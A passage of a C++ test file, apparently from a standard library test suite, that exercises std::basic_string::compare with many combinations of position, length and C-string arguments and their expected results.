test(S("abcdefghij"), 11, 0, "abcdefghijklmnopqrst", 1, 0); test(S("abcdefghij"), 11, 0, "abcdefghijklmnopqrst", 10, 0); test(S("abcdefghij"), 11, 0, "abcdefghijklmnopqrst", 19, 0); test(S("abcdefghij"), 11, 0, "abcdefghijklmnopqrst", 20, 0); } template <class S> void test8() { test(S("abcdefghijklmnopqrst"), 0, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 0, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 0, 0, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 0, 0, "abcde", 2, -2); test(S("abcdefghijklmnopqrst"), 0, 0, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 0, 0, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghij", 1, -1); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 0, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 0, 1, "", 0, 1); test(S("abcdefghijklmnopqrst"), 0, 1, "abcde", 0, 1); test(S("abcdefghijklmnopqrst"), 0, 1, "abcde", 1, 0); test(S("abcdefghijklmnopqrst"), 0, 1, "abcde", 2, -1); test(S("abcdefghijklmnopqrst"), 0, 1, "abcde", 4, -3); test(S("abcdefghijklmnopqrst"), 0, 1, "abcde", 5, -4); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghij", 0, 1); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghij", 1, 0); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghij", 5, -4); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghij", 9, -8); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghij", 10, -9); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghijklmnopqrst", 1, 0); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghijklmnopqrst", 10, -9); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghijklmnopqrst", 19, -18); test(S("abcdefghijklmnopqrst"), 0, 1, "abcdefghijklmnopqrst", 20, -19); test(S("abcdefghijklmnopqrst"), 0, 10, "", 0, 10); test(S("abcdefghijklmnopqrst"), 0, 10, "abcde", 0, 10); test(S("abcdefghijklmnopqrst"), 0, 10, "abcde", 1, 9); test(S("abcdefghijklmnopqrst"), 0, 10, "abcde", 2, 8); test(S("abcdefghijklmnopqrst"), 0, 10, "abcde", 4, 6); test(S("abcdefghijklmnopqrst"), 0, 10, "abcde", 5, 5); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghij", 0, 10); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghij", 1, 9); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghij", 5, 5); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghij", 10, 0); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghijklmnopqrst", 0, 10); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghijklmnopqrst", 1, 9); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghijklmnopqrst", 10, 0); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghijklmnopqrst", 19, -9); test(S("abcdefghijklmnopqrst"), 0, 10, "abcdefghijklmnopqrst", 20, -10); test(S("abcdefghijklmnopqrst"), 0, 19, "", 0, 19); test(S("abcdefghijklmnopqrst"), 0, 19, "abcde", 0, 19); test(S("abcdefghijklmnopqrst"), 0, 19, "abcde", 1, 18); test(S("abcdefghijklmnopqrst"), 0, 19, "abcde", 2, 17); test(S("abcdefghijklmnopqrst"), 0, 19, "abcde", 4, 15); test(S("abcdefghijklmnopqrst"), 0, 19, "abcde", 5, 14); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghij", 0, 19); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghij", 1, 18); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghij", 5, 14); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghij", 10, 9); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghijklmnopqrst", 0, 19); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghijklmnopqrst", 1, 18); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghijklmnopqrst", 10, 9); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghijklmnopqrst", 19, 0); test(S("abcdefghijklmnopqrst"), 0, 19, "abcdefghijklmnopqrst", 20, -1); test(S("abcdefghijklmnopqrst"), 0, 20, "", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 20, "abcde", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 20, "abcde", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 20, "abcde", 2, 18); test(S("abcdefghijklmnopqrst"), 0, 20, "abcde", 4, 16); test(S("abcdefghijklmnopqrst"), 0, 20, "abcde", 5, 15); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghij", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghij", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghij", 5, 15); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghij", 9, 11); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghijklmnopqrst", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghijklmnopqrst", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 0, 20, "abcdefghijklmnopqrst", 20, 0); test(S("abcdefghijklmnopqrst"), 0, 21, "", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 21, "abcde", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 21, "abcde", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 21, "abcde", 2, 18); test(S("abcdefghijklmnopqrst"), 0, 21, "abcde", 4, 16); test(S("abcdefghijklmnopqrst"), 0, 21, "abcde", 5, 15); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghij", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghij", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghij", 5, 15); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghij", 9, 11); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghijklmnopqrst", 0, 20); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghijklmnopqrst", 1, 19); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 0, 21, "abcdefghijklmnopqrst", 20, 0); test(S("abcdefghijklmnopqrst"), 1, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 1, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 1, 0, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 1, 0, "abcde", 2, -2); } template <class S> void test9() { test(S("abcdefghijklmnopqrst"), 1, 0, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 1, 0, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghij", 1, -1); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 1, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 1, 1, "", 0, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcde", 0, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcde", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcde", 2, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcde", 4, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcde", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghij", 0, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghij", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghij", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghij", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 1, 1, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "", 0, 9); test(S("abcdefghijklmnopqrst"), 1, 9, "abcde", 0, 9); test(S("abcdefghijklmnopqrst"), 1, 9, "abcde", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcde", 2, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcde", 4, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcde", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghij", 0, 9); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghij", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghij", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghij", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghijklmnopqrst", 0, 9); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 1, 9, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "", 0, 18); test(S("abcdefghijklmnopqrst"), 1, 18, "abcde", 0, 18); test(S("abcdefghijklmnopqrst"), 1, 18, "abcde", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcde", 2, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcde", 4, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcde", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghij", 0, 18); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghij", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghij", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghij", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghijklmnopqrst", 0, 18); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 1, 18, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 19, "abcde", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 19, "abcde", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcde", 2, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcde", 4, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcde", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghij", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghij", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghij", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghij", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghijklmnopqrst", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 1, 19, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 20, "abcde", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 20, "abcde", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcde", 2, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcde", 4, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcde", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghij", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghij", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghij", 5, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghij", 9, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghij", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghijklmnopqrst", 0, 19); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghijklmnopqrst", 1, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghijklmnopqrst", 10, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghijklmnopqrst", 19, 1); test(S("abcdefghijklmnopqrst"), 1, 20, "abcdefghijklmnopqrst", 20, 1); test(S("abcdefghijklmnopqrst"), 10, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 10, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 10, 0, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 10, 0, "abcde", 2, -2); test(S("abcdefghijklmnopqrst"), 10, 0, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 10, 0, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghij", 1, -1); } template <class S> void test10() { test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 10, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 10, 1, "", 0, 1); test(S("abcdefghijklmnopqrst"), 10, 1, "abcde", 0, 1); test(S("abcdefghijklmnopqrst"), 10, 1, "abcde", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcde", 2, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcde", 4, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcde", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghij", 0, 1); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghij", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghij", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghijklmnopqrst", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghijklmnopqrst", 19, 10); test(S("abcdefghijklmnopqrst"), 10, 1, "abcdefghijklmnopqrst", 20, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "", 0, 5); test(S("abcdefghijklmnopqrst"), 10, 5, "abcde", 0, 5); test(S("abcdefghijklmnopqrst"), 10, 5, "abcde", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcde", 2, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcde", 4, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcde", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghij", 0, 5); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghij", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghij", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghijklmnopqrst", 0, 5); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghijklmnopqrst", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghijklmnopqrst", 19, 10); test(S("abcdefghijklmnopqrst"), 10, 5, "abcdefghijklmnopqrst", 20, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "", 0, 9); test(S("abcdefghijklmnopqrst"), 10, 9, "abcde", 0, 9); test(S("abcdefghijklmnopqrst"), 10, 9, "abcde", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcde", 2, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcde", 4, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcde", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghij", 0, 9); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghij", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghij", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghijklmnopqrst", 0, 9); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghijklmnopqrst", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghijklmnopqrst", 19, 10); test(S("abcdefghijklmnopqrst"), 10, 9, "abcdefghijklmnopqrst", 20, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcde", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcde", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcde", 2, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcde", 4, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcde", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghij", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghij", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghij", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghijklmnopqrst", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghijklmnopqrst", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghijklmnopqrst", 19, 10); test(S("abcdefghijklmnopqrst"), 10, 10, "abcdefghijklmnopqrst", 20, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcde", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcde", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcde", 2, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcde", 4, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcde", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghij", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghij", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghij", 5, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghij", 9, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghij", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghijklmnopqrst", 0, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghijklmnopqrst", 1, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghijklmnopqrst", 10, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghijklmnopqrst", 19, 10); test(S("abcdefghijklmnopqrst"), 10, 11, "abcdefghijklmnopqrst", 20, 10); test(S("abcdefghijklmnopqrst"), 19, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 19, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 19, 0, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 19, 0, "abcde", 2, -2); test(S("abcdefghijklmnopqrst"), 19, 0, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 19, 0, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghij", 1, -1); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghijklmnopqrst", 0, 0); } template <class S> void test11() { test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 19, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 19, 1, "", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 1, "abcde", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 1, "abcde", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcde", 2, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcde", 4, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcde", 5, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghij", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghij", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghij", 5, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghij", 9, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghij", 10, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghijklmnopqrst", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghijklmnopqrst", 10, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghijklmnopqrst", 19, 19); test(S("abcdefghijklmnopqrst"), 19, 1, "abcdefghijklmnopqrst", 20, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 2, "abcde", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 2, "abcde", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcde", 2, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcde", 4, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcde", 5, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghij", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghij", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghij", 5, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghij", 9, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghij", 10, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghijklmnopqrst", 0, 1); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghijklmnopqrst", 1, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghijklmnopqrst", 10, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghijklmnopqrst", 19, 19); test(S("abcdefghijklmnopqrst"), 19, 2, "abcdefghijklmnopqrst", 20, 19); test(S("abcdefghijklmnopqrst"), 20, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 0, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 0, "abcde", 2, -2); test(S("abcdefghijklmnopqrst"), 20, 0, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 20, 0, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghij", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 20, 0, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 20, 1, "", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 1, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 1, "abcde", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 1, "abcde", 2, -2); test(S("abcdefghijklmnopqrst"), 20, 1, "abcde", 4, -4); test(S("abcdefghijklmnopqrst"), 20, 1, "abcde", 5, -5); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghij", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghij", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghij", 5, -5); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghij", 9, -9); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghij", 10, -10); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghijklmnopqrst", 0, 0); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghijklmnopqrst", 1, -1); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghijklmnopqrst", 10, -10); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghijklmnopqrst", 19, -19); test(S("abcdefghijklmnopqrst"), 20, 1, "abcdefghijklmnopqrst", 20, -20); test(S("abcdefghijklmnopqrst"), 21, 0, "", 0, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcde", 0, 0); test(S("abcdefghijklmnopqrst"), 21, 0, "abcde", 1, 0); test(S("abcdefghijklmnopqrst"), 